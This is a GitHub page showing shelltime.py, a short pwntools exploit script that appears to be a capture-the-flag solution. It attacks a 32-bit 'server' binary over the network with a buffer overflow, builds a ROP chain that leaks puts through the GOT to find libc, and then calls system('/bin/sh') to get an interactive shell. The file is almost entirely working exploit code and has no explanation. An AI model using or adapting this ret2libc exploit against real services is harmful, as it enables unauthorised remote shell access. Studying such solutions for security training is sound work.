-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshelltime.py
35 lines (30 loc) · 876 Bytes
/
shelltime.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
elf=ELF("./server")
context.os='linux'
context.log_level='debug'
context.arch="i386"
#p=elf.process()
libc=ELF("./libc6_2.27-3ubuntu1_i386.so")
p=remote("host",port)
padding=b'A'*60
rop=ROP(elf)
rop.call(elf.symbols["puts"],[elf.got["puts"]])
rop.call(elf.symbols["vuln"])
stage1=padding+rop.chain()
p.recvuntil(b"Input some text: ")
p.sendline(stage1)
p.recvuntil(b'Return address: ')
p.recvline()
p.recvline()
s=p.recvline()
leaked_puts = s[:4].strip().ljust(4,b'\x00')
log.success ("Leaked puts@GLIBC: " + str(leaked_puts))
leaked_puts=u32(leaked_puts)
log.success("puts here"+hex(leaked_puts))
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload=padding+rop2.chain()
p.recvuntil(b"Input some text: ")
p.sendline(payload)
p.interactive()